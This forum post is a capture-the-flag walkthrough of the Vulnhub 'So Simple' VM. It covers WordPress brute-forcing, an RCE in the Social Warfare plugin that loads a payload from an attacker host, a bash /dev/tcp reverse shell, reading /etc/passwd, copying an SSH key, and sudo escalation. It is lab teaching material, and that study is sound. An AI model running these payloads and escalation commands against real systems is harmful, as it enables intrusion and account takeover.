• We just launched and are currently in beta. Join us as we build and grow the community.

So Simple:1 Vulnhub Walkthrough

kkk2525

Manga Critic
Divine
K Rep
0
0
0
Rep
0
K Vouches
0
0
0
Vouches
0
Posts
80
Likes
192
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 500 XP
So Simple is a beginner level vulnerable box created by @roelvb79, with some rabbit holes and good methodologies to easily understand how a pentester has to run public exploits work in OSCP-like VMs.

Table of Content
  • Reconnaissance
    • Arp-scan to detect system IP
    • Nmap to detect open ports
    • Wpscan to enumerate wordpress installation
    • Bruteforcing a username to gain password
    • Finding an outdated plugin social warfare
  • Exploitation
    • Exploiting RCE using social warfare plugin
  • Privilege Escalation
    • Gaining max’s account using ssh key
    • Escalating to steven using sudoers file
    • Escalating to root using sudoers file
  • Snagging the flag

Let’s start

Reconnaissance

To start off, I ran an arp-scan and nmap on the target IP 192.168.56.105 to find out the open ports and services.

Screenshot_1.png


There was not much to be seen on the website so I ran a directory enumeration using gobuster to find a wordpress installation on the target

Screenshot_2.png


Next obvious step was to enumerate wordpress using wpscan and find any usernames or vulnerable plugins installed.

Screenshot_4.png


I found a wp-admin panel and a user “max” and no vulnerable plugin was found during this step.

Screenshot_5.png


After exploring alternate options and all the directories there was no lead to find the password for max. Hence, the next most obvious step was to bruteforce max using a given password list.

Screenshot_6.png


I used rockyou.txt and wpscan itself to bruteforce the login for user “max”

Screenshot_7.png


There we go! I found a suitable credential for wp-admin login: max/opensesame

But, wait a minute, there was also a vulnerable plugin displayed in this step which is weird since it wasn’t visible in the previous enumeration phase. Anyway, I logged in using max:opensesame credentials.

Screenshot_8.png


I tried to upload a shell or include a vulnerable code that could somehow help me to gain a reverse shell out of the server but it was in vain. There is no option to install a plugin or code. This hinted me to pivot back to the last step where I found a vulnerable plugin “social warfare.” After a bit of research, I found that the installed version 3.5.0 is vulnerable to an RCE exploit! You can read more about this exploit here.

Screenshot_9.png


Exploitation

So, as per the PoC steps, I had to launch our own server with a text file that had a payload and the server would execute it. This is a classic example of RCE. I launched my own python server and created a payload.txt file with the following code in it to check if it is exploitable or not.

Code:
system('cat /etc/passwd')

File: payload.txt
python3 -m http.server 80
[/code]

Screenshot_10.png


Now to run this payload I had to navigate to the following address:

Code:
http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt

Screenshot_11.png


So it was found to be exploitable. Next step is obviously to launch a code that would give us a reverse shell back. Hence I changed the payload.txt with the reverse shell payload of netcat by pentest monkey but it didn’t work for me. Next, I included the reverse bash payload by a pentest monkey which is:

Code:
bash -i >& /dev/tcp/192.168.56.102/8080 0>&1

To execute it in a PHP format I had to change the payload to:

Code:
[code]
system("bash -c 'bash -i >& /dev/tcp/192.168.56.102/8080 0>&1'")

Screenshot_12.png


On visiting the same URL in the browser and setting up a netcat listener on port 8080 I got a reverse shell!

Screenshot_13.png


Privilege Escalation

At this point, the author of the VM had created another rabbit hole which just consumed more time and trolled me.

Screenshot_14.png


Eventually, I got back to the basics and tried accessing max’s account to look for insecure permissions given to important files as I should have which lead me to the private ssh key of max having read permission.

Screenshot_15.png


I copied this private key in my local system and connected to max’s SSH using this key.

Screenshot_16.png


Now we had max’s terminal! I looked for files with SUID permissions, docker images other directories that may escalate the privileges but I found nothing. I looked for any entry in the sudoers file and I found a binary that could run as another user steven.

This binary seemed to run any installed service on the system. Hence, I supplied an argument that could give me steven’s shell.

Code:
sudo -l
sudo -u steven /usr/sbin/service ../../bin/bash

On accessing sudoers entry for steven I found another script that could run as root without password. But the catch is that that script didn’t exist physically. So I created a directory /opt/tools and a script server-health.sh with the following code:

Code:
#
!/bin/bash
bash

Screenshot_17.png


Snagging the flag

I changed the permissions of this file and then ran the script as root. We got a root shell! I read the congratulatory flag finally!

Screenshot_18.png


Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
 

442,401

317,942

317,951

Top